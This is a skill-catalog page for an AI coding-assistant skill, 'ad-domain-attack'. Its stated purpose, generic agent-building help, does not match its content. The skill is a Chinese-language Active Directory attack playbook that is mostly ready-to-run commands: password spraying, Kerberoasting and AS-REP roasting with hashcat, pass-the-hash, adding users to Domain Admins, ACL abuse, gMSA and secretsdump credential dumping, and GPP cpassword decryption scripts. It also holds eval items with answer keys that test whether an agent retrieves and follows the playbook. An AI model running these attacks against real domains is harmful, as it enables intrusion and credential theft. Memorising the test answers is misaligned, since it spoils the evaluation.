
Ad Domain Attack
- 31 installs
- 1.6k repo stars
- Updated July 19, 2026
- wgpsec/aboutsecurity
Helps with ai & agent building tasks during AI-assisted development.
About
ad-domain-attack is a Claude Code skill for ai & agent building. It helps solo builders move faster with AI-assisted coding.
- ad-domain-attack
- AI & Agent Building
- AI-coding skill
Ad Domain Attack by the numbers
- 31 all-time installs (skills.sh)
- +2 installs in the week ending Jul 27, 2026 (Skillselion tracking)
- Ranked #9,164 of 16,546 AI & Agent Building skills by installs in the Skillselion catalog
- Data as of Aug 5, 2026 (Skillselion catalog sync)
npx skills add https://github.com/wgpsec/aboutsecurity --skill ad-domain-attackAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 31 |
|---|---|
| repo stars | ★ 1.6k |
| Last updated | July 19, 2026 |
| Repository | wgpsec/aboutsecurity ↗ |
What it does
Helps with ai & agent building tasks during AI-assisted development.
Files
AD 域攻击方法论
拿下域控 = 控制整个网络。
⛔ 深入参考(必读)
- 需要域侦察环境搭建与初始枚举 → references/ad-recon-setup.md
- 需要认证后深度枚举方法 → references/authenticated-enum.md
- 需要密码喷洒、AS-REP Roasting、Kerberoasting 详细命令 → references/credential-attacks.md
- 需要委派攻击(RBCD)、ACL 滥用、DCSync、持久化 → references/domain-escalation.md
- → references/zerologon-attack.md — CVE-2020-1472 ZeroLogon 攻击与恢复
---
Phase 1: 域环境确认与信息收集
1.1 确认域环境
systeminfo | findstr /i "domain" # Windows
nltest /dclist:DOMAIN_NAME
nslookup -type=SRV _ldap._tcp.dc._msdcs.DOMAIN # Linux域控 IP 通常就是 DNS 服务器(ipconfig /all 中的 DNS Server)。
1.2 域枚举(无需凭据)
kerbrute userenum -d DOMAIN --dc DC_IP userlist.txt
netexec ldap DC_IP -u '' -p '' --users # LDAP 匿名绑定1.3 域深度枚举(需要域用户凭据)
netexec ldap DC_IP -u USER -p PASS --users
net accounts /domain # 密码策略(锁定阈值!)
impacket-GetUserSPNs DOMAIN/USER:PASS -dc-ip DC_IP # SPN 枚举
bloodhound-python -d DOMAIN -u USER -p PASS -dc DC_IP -c allBloodHound 能自动发现攻击路径,是域渗透最强大的工具。
Phase 2: 攻击决策树
拥有的凭据?
├─ 无凭据 → AS-REP Roasting(无需预认证的用户)→ [references/credential-attacks.md](references/credential-attacks.md)
├─ 任意域用户 → Kerberoasting(SPN 服务账户)→ [references/credential-attacks.md](references/credential-attacks.md)
│ → 密码喷洒(先查锁定策略!)→ [references/credential-attacks.md](references/credential-attacks.md)
│ → BloodHound 找攻击路径
├─ 本地管理员 → SAM dump → PTH 横向 → 凭据复用
├─ 域管权限 → DCSync 提取所有哈希 → [references/domain-escalation.md](references/domain-escalation.md)
└─ 发现委派/ACL 路径 → 委派攻击/ACL 滥用 → [references/domain-escalation.md](references/domain-escalation.md)凭据复用速查
netexec smb 10.0.0.0/24 -u USER -p PASS --continue-on-success
netexec smb 10.0.0.0/24 -u admin -H NTLM_HASH # PTH工具速查
| 场景 | 推荐工具 |
|---|---|
| 域枚举 | BloodHound, netexec |
| 票据攻击 | impacket 套件 |
| 密码破解 | hashcat |
| 漏洞利用 | certipy (ADCS), zerologon 脚本 |
| NTLM 中继 | ntlmrelayx + Responder |
| 证书攻击 | certipy (ESC1-ESC11) |
Password Spray 安全策略
- 检查域密码策略:Lockout duration(锁定时长/冷却时间)
- 避免账户锁定影响可用性
- observation window(观察窗口):了解计数器重置时间
工具替代与规避
- SharpHound 可能被拦截(杀软/EDR),需要替代方案
- LDAP 查询可远程执行:无需上传工具、不接触目标文件系统
补充工具
bloodyAD — AD LDAP 操作
# 添加用户到组
bloodyAD -d DOMAIN -u USER -p PASS --host DC_IP add groupMember "Domain Admins" "TARGET_USER"
# 修改 ACL(添加 GenericAll)
bloodyAD -d DOMAIN -u USER -p PASS --host DC_IP add genericAll "OU=xxx,DC=dom,DC=local" TARGET_USER
# 查询可写对象
bloodyAD -d DOMAIN -u USER -p PASS --host DC_IP get writable
# 修改密码
bloodyAD -d DOMAIN -u USER -p PASS --host DC_IP set password TARGET_USER "NewP@ss123"ldeep — LDAP 深度枚举
# 连接并枚举
ldeep ldap -d DOMAIN -u USER -p PASS -s ldap://DC_IP all
# 枚举委派配置
ldeep ldap -d DOMAIN -u USER -p PASS -s ldap://DC_IP delegations
# 枚举 SPN
ldeep ldap -d DOMAIN -u USER -p PASS -s ldap://DC_IP spns
# 枚举 ASREPRoast 用户
ldeep ldap -d DOMAIN -u USER -p PASS -s ldap://DC_IP asreproast
# 枚举信任关系
ldeep ldap -d DOMAIN -u USER -p PASS -s ldap://DC_IP trustsenum4linux-ng — SMB/RPC 枚举
# 完整枚举(用户、组、共享、策略、RID)
enum4linux-ng -A TARGET_IP
# 认证枚举
enum4linux-ng -A TARGET_IP -u USER -p PASS
# 仅用户枚举
enum4linux-ng -U TARGET_IP -u USER -p PASSgMSADumper — gMSA 密码提取
# 导出 gMSA 账户密码
python3 /pentest/gMSADumper/gMSADumper.py -d DOMAIN -u USER -p PASS -l DC_IP{
"skill_name": "ad-domain-attack",
"evals": [
{
"id": 1,
"name": "ad-kerberoasting-specific-commands",
"prompt": "你拿到域内普通用户 CORP\\jsmith 的明文密码。请写出 Kerberoasting 攻击的完整命令链(从获取 SPN 到破解),用 impacket 工具集。",
"expected_output": "impacket-GetUserSPNs -request -dc-ip 10.0.0.10 CORP/jsmith:Password123 -outputfile spn_hashes.txt,然后 hashcat -m 13100 spn_hashes.txt wordlist.txt",
"expectations": [
"GetUserSPNs|impacket|SPN枚举",
"-request|请求TGS|获取哈希",
"hashcat -m 13100|hashcat|13100|离线破解",
"-dc-ip|域控IP|LDAP查询",
"TGS票据|Kerberos|服务票据"
],
"required_terms": [
"hashcat -m 13100",
"hashcat",
"GetUserSPNs"
]
},
{
"id": 2,
"name": "ad-password-policy-before-spray",
"prompt": "在域环境中准备做密码喷洒之前,为什么必须先查询密码策略?用什么命令查?需要关注哪些字段?",
"expected_output": "net accounts /domain 查询密码策略。关注:Lockout threshold(锁定阈值)、Lockout duration(锁定时长)、Lockout observation window(观察窗口)。避免触发账户锁定影响可用性",
"expectations": [
"net accounts /domain|密码策略|查询策略",
"Lockout threshold|锁定阈值|失败次数",
"Lockout duration|锁定时长|冷却时间",
"账户锁定|避免锁定|影响可用性",
"observation window|观察窗口|重置计数"
],
"required_terms": [
"net accounts /domain",
"Lockout duration",
"observation window"
]
},
{
"id": 3,
"name": "ad-bloodhound-collection",
"prompt": "你需要用 BloodHound 分析域攻击路径。但你只有一个域内低权限用户,没法上传 SharpHound.exe(杀软拦截)。有替代方案吗?",
"expected_output": "用 Python 版的 bloodhound-python(bloodhound.py)远程收集:bloodhound-python -d corp.local -u jsmith -p 'Password123' -ns 10.0.0.10 -c all。不需要在目标上执行任何程序",
"expectations": [
"bloodhound-python|bloodhound.py|Python版|远程收集",
"-c all|收集所有数据|ACL|Session|Group",
"无需上传|不接触目标|远程LDAP",
"SharpHound|被拦截|杀软|替代",
"-ns|DNS|域控|LDAP查询"
],
"required_terms": [
"ACL",
"SharpHound",
"DNS"
]
}
]
}
{
"skill_id": "ad-domain-attack",
"recall_tests": [
{
"id": 1,
"type": "keyword_positive",
"description": "核心关键词",
"keywords": [
"ad domain",
"域控",
"kerberos",
"域"
]
},
{
"id": 2,
"type": "keyword_positive",
"description": "技术搜索",
"keywords": [
"kerberoasting",
"dcsync",
"golden ticket",
"bloodhound"
]
},
{
"id": 3,
"type": "keyword_positive",
"description": "认证搜索",
"keywords": [
"ntlm",
"delegation",
"acl"
]
},
{
"id": 4,
"type": "keyword_negative",
"description": "不应被cloud召回",
"keywords": [
"cloud metadata",
"imds"
]
}
],
"llm_tests": [
{
"id": 1,
"name": "ad-domain-attack-scenario",
"scenario": "已获取域内低权限用户凭据,目标是域控。发现有 SPN 注册的服务账户。请搜索 AD 域攻击方法论。",
"max_rounds": 2,
"expect_tool_calls": [
{
"tool": "list_skills",
"keyword_contains": "ad|domain|域|kerberos|active directory"
},
{
"tool": "read_skill",
"id": "ad-domain-attack"
}
]
}
]
}
AD 初始侦察与环境配置
SMB 扫描输出解读
基础扫描
netexec smb <SUBNET>/24输出示例
SMB 10.10.10.10 445 DC01 [*] Windows Server 2019 x64 (name:DC01) (domain:corp.local) (signing:True) (SMBv1:False)
SMB 10.10.10.11 445 DC02 [*] Windows Server 2019 x64 (name:DC02) (domain:child.corp.local) (signing:True) (SMBv1:False)
SMB 10.10.10.20 445 SRV01 [*] Windows Server 2019 x64 (name:SRV01) (domain:corp.local) (signing:False) (SMBv1:False)
SMB 10.10.10.21 445 WKS01 [*] Windows 10 x64 (name:WKS01) (domain:corp.local) (signing:False) (SMBv1:False)字段含义与判断依据
| 字段 | 含义 | 判断逻辑 |
|---|---|---|
signing:True | SMB Signing 强制开启 | 域控制器 -- 记录为 DC,用于后续 LDAP/Kerberos 查询 |
signing:False | SMB Signing 未强制 | 普通服务器/工作站 -- 记录为 NTLM 中继目标 |
SMBv1:True | 支持 SMBv1 | 可能存在 EternalBlue (MS17-010) 等历史漏洞 |
SMBv1:False | 已禁用 SMBv1 | 较新系统或已加固 |
domain:xxx.local | 主机所属域 | 区分父域/子域/外部域,多域名 = 多域环境 |
name:HOSTNAME | NetBIOS 主机名 | 用于 /etc/hosts 和 Kerberos 配置 |
Windows Server 20xx | 操作系统版本 | Server 通常是高价值目标 |
侦察记录模板
=== 域结构 ===
- corp.local (父域)
- child.corp.local (子域)
=== DC 列表 (signing:True) ===
- 10.10.10.10 DC01 corp.local
- 10.10.10.11 DC02 child.corp.local
=== 中继目标 (signing:False) ===
- 10.10.10.20 SRV01
- 10.10.10.21 WKS01---
DNS SRV 记录确认 DC 角色
SMB 扫描中 signing:True 通常是 DC,但需要 DNS SRV 记录做最终确认。
查询命令
# 标准 DC SRV 记录查询
nslookup -type=srv _ldap._tcp.dc._msdcs.<DOMAIN> <DC_IP>
# 示例
nslookup -type=srv _ldap._tcp.dc._msdcs.corp.local 10.10.10.10输出示例
_ldap._tcp.dc._msdcs.corp.local service = 0 100 389 dc01.corp.local.解读
- 返回的主机名 = 确认的域控制器
389= LDAP 端口(默认)- 查询失败 = DNS 配置错误或目标域不存在,改用 DC IP 作 DNS 服务器重试
其他有用的 SRV 记录
# Kerberos KDC
nslookup -type=srv _kerberos._tcp.<DOMAIN> <DC_IP>
# Global Catalog
nslookup -type=srv _gc._tcp.<FOREST_ROOT> <DC_IP>
# PDC Emulator
nslookup -type=srv _ldap._tcp.pdc._msdcs.<DOMAIN> <DC_IP>---
Kerberos 客户端配置
安装
# Debian/Ubuntu/Kali
sudo apt install -y krb5-user
# 安装过程中的提示可直接回车跳过,后续手动配置/etc/krb5.conf 单域模板
[libdefaults]
default_realm = DOMAIN.LOCAL
dns_lookup_realm = false
dns_lookup_kdc = false
[realms]
DOMAIN.LOCAL = {
kdc = dc01.domain.local
admin_server = dc01.domain.local
default_domain = domain.local
}
[domain_realm]
.domain.local = DOMAIN.LOCAL
domain.local = DOMAIN.LOCAL/etc/krb5.conf 多域模板
[libdefaults]
default_realm = CORP.LOCAL
dns_lookup_realm = false
dns_lookup_kdc = false
[realms]
CORP.LOCAL = {
kdc = dc01.corp.local
admin_server = dc01.corp.local
default_domain = corp.local
}
CHILD.CORP.LOCAL = {
kdc = dc02.child.corp.local
admin_server = dc02.child.corp.local
default_domain = child.corp.local
}
[domain_realm]
.corp.local = CORP.LOCAL
corp.local = CORP.LOCAL
.child.corp.local = CHILD.CORP.LOCAL
child.corp.local = CHILD.CORP.LOCAL配置项说明
| 节 | 选项 | 说明 |
|---|---|---|
[libdefaults] | default_realm | 默认 realm(大写域名) |
dns_lookup_realm | 设 false 使用本地配置 | |
dns_lookup_kdc | 设 false 使用本地配置 | |
[realms] | kdc | KDC(域控)的 FQDN |
admin_server | 管理服务器(通常与 KDC 相同) | |
default_domain | 默认域名(小写) | |
[domain_realm] | .domain.local | 匹配所有 *.domain.local 主机 |
domain.local | 匹配 domain.local 本身 |
用 NetExec 自动生成
netexec smb <DC_IP> --generate-krb5-file /tmp/krb5.conf
cat /tmp/krb5.conf
sudo cp /tmp/krb5.conf /etc/krb5.conf---
NTP 时间同步
Kerberos 协议要求攻击机与 DC 时间差在 5 分钟 以内,否则认证失败。
同步方法
# ntpdate(最常用)
sudo ntpdate <DC_IP>
# rdate(备选)
sudo rdate -n <DC_IP>
# 检查当前时间差
net time -S <DC_IP>
# timedatectl(systemd 系统)
sudo timedatectl set-ntp false
sudo date -s "$(curl -sI http://<DC_IP> | grep Date | cut -d' ' -f2-)"时间不同步的常见报错
| 错误信息 | 含义 |
|---|---|
KRB_AP_ERR_SKEW / Clock skew too great | 时间差超过 5 分钟 |
Kerberos SessionError: KRB_AP_ERR_SKEW | impacket 工具的同类报错 |
---
ccache 票据管理
基本操作
# 设置 ccache 文件路径
export KRB5CCNAME=/tmp/username.ccache
# 用密码获取 TGT
kinit username@DOMAIN.LOCAL
# 用 NTLM Hash 获取 TGT(impacket)
getTGT.py -hashes :<NT_HASH> DOMAIN.LOCAL/username
export KRB5CCNAME=/tmp/username.ccache
# 查看当前票据
klist
# 查看票据详细信息(包含过期时间)
klist -e
# 销毁当前票据
kdestroy多票据切换
# 为不同用户/域保存不同 ccache
export KRB5CCNAME=/tmp/user1.ccache
kinit user1@CORP.LOCAL
export KRB5CCNAME=/tmp/user2.ccache
kinit user2@CHILD.CORP.LOCAL
# 切换回 user1
export KRB5CCNAME=/tmp/user1.ccache
klist # 确认当前票据与攻击工具集成
# impacket 使用 -k 表示 Kerberos 认证
export KRB5CCNAME=/tmp/admin.ccache
impacket-psexec -k -no-pass DOMAIN.LOCAL/administrator@dc01.domain.local
impacket-secretsdump -k -no-pass DOMAIN.LOCAL/administrator@dc01.domain.local
# netexec 使用 -k / --use-kcache
netexec smb <TARGET> -k
netexec smb <TARGET> --use-kcache
# evil-winrm 使用 Kerberos
evil-winrm -i <TARGET> -r DOMAIN.LOCAL---
Nmap AD 专用 NSE 脚本
SMB 枚举脚本
# SMB 安全模式(signing 状态)
nmap -p 445 --script smb-security-mode <TARGET>
# SMB 共享枚举
nmap -p 445 --script smb-enum-shares <TARGET>
# SMB 用户枚举
nmap -p 445 --script smb-enum-users <TARGET>
# SMB 漏洞检测(EternalBlue 等)
nmap -p 445 --script smb-vuln-ms17-010 <TARGET>
nmap -p 445 --script "smb-vuln-*" <TARGET>
# 所有 SMB 脚本
nmap -p 445 --script "smb-*" <TARGET>LDAP 枚举脚本
# LDAP 根 DSE(域名、功能级别等基础信息)
nmap -p 389 --script ldap-rootdse <TARGET>
# LDAP 搜索
nmap -p 389 --script ldap-search <TARGET>Kerberos 脚本
# Kerberos 用户名枚举(无需凭据)
nmap -p 88 --script krb5-enum-users \
--script-args krb5-enum-users.realm='DOMAIN.LOCAL' <TARGET>AD 关键端口一次性扫描
nmap -Pn -p 53,88,135,139,389,445,464,636,3268,3269,5985,5986 -sC -sV <TARGET>| 端口 | 服务 | 用途 |
|---|---|---|
| 53 | DNS | 域名解析 |
| 88 | Kerberos | 认证 |
| 135 | RPC | 远程过程调用 |
| 139/445 | SMB | 文件共享 |
| 389/636 | LDAP/LDAPS | 目录查询 |
| 3268/3269 | Global Catalog | 跨域查询 |
| 5985/5986 | WinRM | 远程管理 |
---
NetExec 多协议命令速查
协议探测
# SMB(文件共享/主机发现)
netexec smb <TARGET>
# LDAP(目录查询/用户枚举)
netexec ldap <TARGET>
# WinRM(远程命令执行)
netexec winrm <TARGET>
# MSSQL(数据库访问)
netexec mssql <TARGET>
# RDP(远程桌面)
netexec rdp <TARGET>认证测试(所有协议通用格式)
netexec <PROTOCOL> <TARGET> -u '<USER>' -p '<PASSWORD>'
netexec <PROTOCOL> <TARGET> -u '<USER>' -H '<NT_HASH>'
netexec <PROTOCOL> <TARGET> -k # Kerberos 认证实用辅助功能
# 自动生成 /etc/hosts
netexec smb <SUBNET>/24 --generate-hosts-file /tmp/hostsfile
cat /tmp/hostsfile | sudo tee -a /etc/hosts
# 自动生成 Kerberos 配置
netexec smb <DC_IP> --generate-krb5-file /tmp/krb5.conf
# 输出为 JSON
netexec smb <TARGET> --export jsonNull Session 匿名枚举
# 测试匿名连接([+] = 可用,[-] = 禁用)
netexec smb <DC_IP> -u '' -p ''
# 匿名枚举用户
netexec smb <DC_IP> -u '' -p '' --users
# 匿名枚举共享
netexec smb <DC_IP> -u '' -p '' --shares
# 获取密码策略(喷洒前必查锁定阈值)
netexec smb <DC_IP> -u '' -p '' --pass-pol---
通过代理执行(SOCKS 场景)
# 配置 proxychains4
sudo sed -i 's/^socks4.*/socks5 127.0.0.1 1080/' /etc/proxychains4.conf
# 通过代理执行扫描
proxychains4 -q netexec smb <SUBNET>/24
proxychains4 -q nmap -sT -Pn -p 445,389,88,135 <SUBNET>/24注意:
- 通过代理只能用
-sT(TCP Connect),不能用-sS(SYN) - 使用
-q避免 proxychains 输出干扰结果
认证后深度枚举
多协议凭据验证
验证命令
# SMB 验证
netexec smb <DC_IP> -u '<USER>' -p '<PASSWORD>'
# LDAP 验证
netexec ldap <DC_IP> -u '<USER>' -p '<PASSWORD>'
# WinRM 验证
netexec winrm <DC_IP> -u '<USER>' -p '<PASSWORD>'
# MSSQL 验证
netexec mssql <DC_IP> -u '<USER>' -p '<PASSWORD>'
# RDP 验证
netexec rdp <DC_IP> -u '<USER>' -p '<PASSWORD>'输出标志含义
[+]= 凭证有效[+] ... (Pwn3d!)= 凭证有效 且有管理员权限[-]= 凭证无效或无访问权限
协议成功意味着什么权限
| 协议 | 成功意味着 | 攻击面 |
|---|---|---|
SMB [+] | 文件共享访问 | 读写共享、搜索敏感文件、GPP 密码 |
SMB (Pwn3d!) | 本地管理员 | SAM dump、LSASS dump、远程执行、横向移动 |
WinRM [+] | 远程命令执行 | 交互式 PowerShell、文件上传下载、持久化 |
LDAP [+] | 目录查询权限 | 用户/组/ACL 枚举、BloodHound 收集、Kerberoasting |
MSSQL [+] | 数据库访问 | 数据窃取、xp_cmdshell 执行命令、链接服务器跳转 |
RDP [+] | GUI 远程桌面 | 交互式操作、浏览器凭据、桌面文件、剪贴板 |
凭据批量验证
# 密码在子网内批量验证
netexec smb <SUBNET>/24 -u '<USER>' -p '<PASSWORD>' --continue-on-success
# Hash 批量验证
netexec smb <SUBNET>/24 -u '<USER>' -H '<NT_HASH>' --continue-on-success
# 多协议交叉验证(同一凭据)
for proto in smb winrm ldap mssql rdp; do
netexec $proto <DC_IP> -u '<USER>' -p '<PASSWORD>'
done---
GPP 密码发现
漏洞背景 (MS14-025)
Group Policy Preferences 允许管理员在组策略中嵌入凭据(本地账户、映射驱动器、计划任务等)。密码用 AES-256-CBC 加密,但微软在 MSDN 上公开了加密密钥,使加密形同虚设。
已发布的 AES-256 密钥
4e 99 06 e8 fc b6 6c c9 fa f4 93 10 62 0f fe e8
f4 96 e8 06 cc 05 79 90 20 9b 09 a4 33 b6 6c 1b加密参数:AES-256-CBC / IV 全零 (16 null bytes) / PKCS7 填充 / UTF-16LE 编码 / Base64 输出。
漏洞文件路径
\\<DC>\SYSVOL\<DOMAIN>\Policies\{GUID}\Machine\Preferences\Groups\Groups.xml
\\<DC>\SYSVOL\<DOMAIN>\Policies\{GUID}\Machine\Preferences\Services\Services.xml
\\<DC>\SYSVOL\<DOMAIN>\Policies\{GUID}\Machine\Preferences\Scheduledtasks\Scheduledtasks.xml
\\<DC>\SYSVOL\<DOMAIN>\Policies\{GUID}\Machine\Preferences\DataSources\DataSources.xml
\\<DC>\SYSVOL\<DOMAIN>\Policies\{GUID}\Machine\Preferences\Printers\Printers.xml
\\<DC>\SYSVOL\<DOMAIN>\Policies\{GUID}\Machine\Preferences\Drives\Drives.xmlGroups.xml 结构示例
<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{312F64D0-5034-4530-9A25-2C5E9ABD2A83}">
<User clsid="{19014E30-2C0B-4D47-975F-53C4D116D211}"
name="local_admin"
image="2"
changed="2024-01-11 12:00:00"
uid="{GUID}">
<Properties action="C"
userName="local_admin"
cpassword="K7QxMZTcQCb6tcaUt149GOpteC5vdk1m9fclrVml/zA="/>
</User>
</Groups>自动发现
# netexec 一键搜索 + 解密
netexec smb <DC_IP> -u '<USER>' -p '<PASSWORD>' -M gpp_password
# 爬取 SYSVOL 搜索 XML
netexec smb <DC_IP> -u '<USER>' -p '<PASSWORD>' --spider 'SYSVOL' --pattern .xmlgpp-decrypt 解密
# 标准用法
gpp-decrypt "K7QxMZTcQCb6tcaUt149GOpteC5vdk1m9fclrVml/zA="
# Kali 自带版本可能有 bug,备选:
# https://github.com/t0thkr1s/gpp-decryptPython 解密脚本
#!/usr/bin/env python3
from Crypto.Cipher import AES
import base64
def decrypt_cpassword(cpassword):
key = bytes([
0x4e, 0x99, 0x06, 0xe8, 0xfc, 0xb6, 0x6c, 0xc9,
0xfa, 0xf4, 0x93, 0x10, 0x62, 0x0f, 0xfe, 0xe8,
0xf4, 0x96, 0xe8, 0x06, 0xcc, 0x05, 0x79, 0x90,
0x20, 0x9b, 0x09, 0xa4, 0x33, 0xb6, 0x6c, 0x1b
])
iv = b'\x00' * 16
ciphertext = base64.b64decode(cpassword)
cipher = AES.new(key, AES.MODE_CBC, iv)
plaintext = cipher.decrypt(ciphertext)
pad_len = plaintext[-1]
plaintext = plaintext[:-pad_len]
return plaintext.decode('utf-16-le')
cpassword = "K7QxMZTcQCb6tcaUt149GOpteC5vdk1m9fclrVml/zA="
print(decrypt_cpassword(cpassword))PowerShell 解密脚本
function Decrypt-GPPPassword {
param([string]$Cpassword)
$Key = [byte[]](0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,
0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,
0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,
0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)
$IV = [byte[]]::new(16)
$Aes = [System.Security.Cryptography.Aes]::Create()
$Aes.Key = $Key; $Aes.IV = $IV
$Aes.Mode = "CBC"; $Aes.Padding = "PKCS7"
$Decryptor = $Aes.CreateDecryptor()
$CipherBytes = [Convert]::FromBase64String($Cpassword)
$PlainBytes = $Decryptor.TransformFinalBlock($CipherBytes, 0, $CipherBytes.Length)
return [System.Text.Encoding]::Unicode.GetString($PlainBytes)
}为什么现在仍然有效
1. MS14-025 补丁只阻止新建 cpassword 条目,不删除已有文件 2. 没有自动清理机制 3. 管理员往往不知道暴露风险或怕破坏现有策略
---
BloodHound 关键 Cypher 查询
数据收集
bloodhound-python -u '<USER>' -p '<PASSWORD>' \
-d '<DOMAIN>' -dc '<DC_FQDN>' \
-c All --zip最短路径到 Domain Admins
MATCH p=shortestPath(
(u:User {owned:true})-[*1..]->(g:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"})
)
RETURN pKerberoastable 用户
MATCH (u:User)
WHERE u.hasspn=true AND u.enabled=true
RETURN u.name, u.serviceprincipalnames, u.pwdlastset, u.admincount
ORDER BY u.pwdlastset ASC非约束委派主机
MATCH (c:Computer {unconstraineddelegation:true})
WHERE c.enabled=true
RETURN c.name, c.operatingsystem约束委派
MATCH (u) WHERE u.allowedtodelegate IS NOT NULL AND u.enabled=true
RETURN u.name, u.allowedtodelegateLAPS 密码可读用户
MATCH p=(u)-[:ReadLAPSPassword]->(c:Computer)
RETURN u.name, c.nameDCSync 权限持有者
MATCH p=()-[:DCSync|GetChanges|GetChangesAll]->(:Domain)
RETURN p到高价值目标的所有路径
MATCH p=shortestPath(
(u:User {owned:true})-[*1..]->(t {highvalue:true})
)
WHERE u <> t
RETURN p可 ASREPRoast 的用户
MATCH (u:User {dontreqpreauth:true, enabled:true})
RETURN u.name, u.pwdlastset---
Share 枚举与 spider_plus 模块
基础共享列表
netexec smb <DC_IP> -u '<USER>' -p '<PASSWORD>' --shares输出解读
| 权限 | 含义 |
|---|---|
| READ | 可以列出和读取文件 |
| WRITE | 可以创建和修改文件 |
| READ,WRITE | 完全访问 |
高价值共享
| 共享名 | 内容 |
|---|---|
| SYSVOL | 组策略、脚本、GPP 文件 |
| NETLOGON | 登录脚本 |
| C$ | 管理共享(需要管理员) |
| 自定义共享 | Backups, Development, IT_Private 等 |
spider_plus 递归内容发现
# 枚举所有可访问文件(JSON 输出)
netexec smb <DC_IP> -u '<USER>' -p '<PASSWORD>' -M spider_plus
# 查看结果
cat ~/.nxc/modules/nxc_spider_plus/<IP>.json
# 下载所有文件
netexec smb <DC_IP> -u '<USER>' -p '<PASSWORD>' -M spider_plus -o DOWNLOAD_FLAG=True
# 下载目录
ls ~/.nxc/modules/nxc_spider_plus/<IP>/按模式搜索
# 搜索 PowerShell 脚本
netexec smb <DC_IP> -u '<USER>' -p '<PASSWORD>' --spider 'SYSVOL' --pattern .ps1
# 搜索配置文件
netexec smb <DC_IP> -u '<USER>' -p '<PASSWORD>' --spider 'SYSVOL' --pattern .xml
# 搜索文本文件
netexec smb <DC_IP> -u '<USER>' -p '<PASSWORD>' --spider 'NETLOGON' --pattern .txt敏感文件模式
| 文件模式 | 可能包含的内容 |
|---|---|
| *.ps1 | 带凭据的脚本 |
| *.bat | 带密码的批处理 |
| *.xml | 配置文件、GPP 密码 |
| *.config | 应用配置 |
| web.config | 数据库连接字符串 |
| Groups.xml | GPP cpassword |
下载后搜索
grep -ri "password" ~/.nxc/modules/nxc_spider_plus/<IP>/
grep -ri "cpassword" ~/.nxc/modules/nxc_spider_plus/<IP>/
grep -ri "credential" ~/.nxc/modules/nxc_spider_plus/<IP>/---
LDAP 高级查询
Tombstone / 已删除对象枚举
LDAP 控制 OID: 1.2.840.113556.1.4.417 (LDAP_SERVER_SHOW_DELETED_OID)
# 查询已删除对象
ldapsearch -H ldap://<DC_IP> -D '<USER>@<DOMAIN>' -w '<PASSWORD>' \
-b 'DC=domain,DC=local' \
-E '1.2.840.113556.1.4.417' \
'(&(isDeleted=TRUE)(!(isRecycled=TRUE)))'
# 只返回关键属性
ldapsearch -H ldap://<DC_IP> -D '<USER>@<DOMAIN>' -w '<PASSWORD>' \
-b 'DC=domain,DC=local' \
-E '1.2.840.113556.1.4.417' \
'(&(isDeleted=TRUE)(!(isRecycled=TRUE)))' \
distinguishedName whenCreated whenChanged lastKnownParent isDeleted objectClass objectGUIDTombstone 生命周期
1. 删除: 对象标记为已删除,移入 CN=Deleted Objects 2. Tombstone 状态: 保留属性 180 天(TSL) 3. 回收站: 若启用,完整属性保留更久 4. 垃圾回收: 对象被永久移除
情报价值
- 幽灵管理员: 最近删除的特权账户
- 遗留凭据: 描述字段中的密码
- SIDHistory: 可能在 tombstone 对象中持续存在
- 账户恢复: 潜在的已删除账户恢复攻击面
跨域 Global Catalog 查询
# 通过 Global Catalog (端口 3268) 进行森林级搜索
ldapsearch -H ldap://<DC_IP>:3268 -D '<USER>@<DOMAIN>' -w '<PASSWORD>' \
-b 'DC=forest,DC=local' \
"(objectClass=user)" sAMAccountNameGlobal Catalog 包含:
- 森林中所有对象的部分副本
- 单一查询点覆盖整个森林
- 适用于跨域枚举
跨域查询行为差异
森林内部(父子信任):
# 从子域查询父域(可以成功)
ldapsearch -H ldap://<PARENT_DC> -D '<USER>@<CHILD_DOMAIN>' -w '<PASSWORD>' \
-b 'DC=parent,DC=local' "*" | grep 'userPrincipalName:'原因:森林内所有域共享传递信任,Authenticated Users 是森林级别的。
森林外部(外部信任):
# 跨森林查询(会失败,返回 52e Invalid Credentials)
ldapsearch -H ldap://<EXTERNAL_DC> -D '<USER>@<DOMAIN>' -w '<PASSWORD>' \
-b 'DC=external,DC=local' "*"原因:外部 DC 无法验证简单绑定凭据,需要 Kerberos 认证 + referral TGT。森林是最终安全边界。
常用 LDAP 过滤器速查
# 所有用户
(&(objectCategory=person)(objectClass=user))
# 仅启用的用户
(&(objectCategory=person)(objectClass=user)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))
# 有 SPN 的用户(Kerberoasting 目标)
(&(objectCategory=person)(objectClass=user)(servicePrincipalName=*))
# 禁用预认证的用户(ASREPRoasting 目标)
(&(objectCategory=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))
# Domain Admins 组成员
(memberOf=CN=Domain Admins,CN=Users,DC=domain,DC=local)
# 所有计算机
(objectCategory=computer)
# 描述字段搜索(可能包含密码)
(&(objectCategory=person)(objectClass=user)(description=*))描述字段密码挖掘
ldapsearch -H ldap://<DC_IP> -D '<USER>@<DOMAIN>' -w '<PASSWORD>' \
-b 'DC=domain,DC=local' "*" | grep 'description:' -A3-A3 的原因:AD 条目多行显示,描述可能跨行,密码信息有时在后续行中。
AD 域凭据攻击详解
密码喷洒
先查密码策略:net accounts /domain 看锁定阈值和重置时间。
# 查看密码策略
netexec ldap DC_IP -u USER -p PASS --pass-pol
net accounts /domain # Lockout threshold / duration / observation window
# 一次只喷一个密码(避免锁定)
netexec smb DC_IP -u userlist.txt -p 'Company2024!' --continue-on-success
# 多协议验证
netexec smb DC_IP -u userlist.txt -p 'Password1!' --continue-on-success
netexec winrm DC_IP -u userlist.txt -p 'Password1!' --continue-on-success
netexec rdp DC_IP -u userlist.txt -p 'Password1!' --continue-on-success常见密码模式
Company2024! # 公司名+年份+符号
Spring2024 # 季节+年份
Welcome1! # 通用弱密码
P@ssw0rd # 经典
Qwer1234! # 键盘规律
Admin@123 # 管理员常用kerbrute 喷洒(更快且不触发账户锁定日志)
kerbrute passwordspray -d DOMAIN --dc DC_IP users.txt 'Password1!'AS-REP Roasting
针对不需要 Kerberos 预认证的用户(无需凭据即可攻击):
# 枚举不需要预认证的用户
impacket-GetNPUsers DOMAIN/ -dc-ip DC_IP -usersfile users.txt -format hashcat -outputfile asrep.txt
